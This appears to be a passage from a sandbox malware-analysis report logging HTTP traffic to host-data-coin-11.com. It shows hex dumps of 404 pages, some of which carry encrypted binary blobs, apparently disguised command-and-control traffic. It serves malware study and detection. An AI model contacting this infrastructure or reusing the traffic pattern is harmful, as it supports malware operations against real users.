Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 08:23:44 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 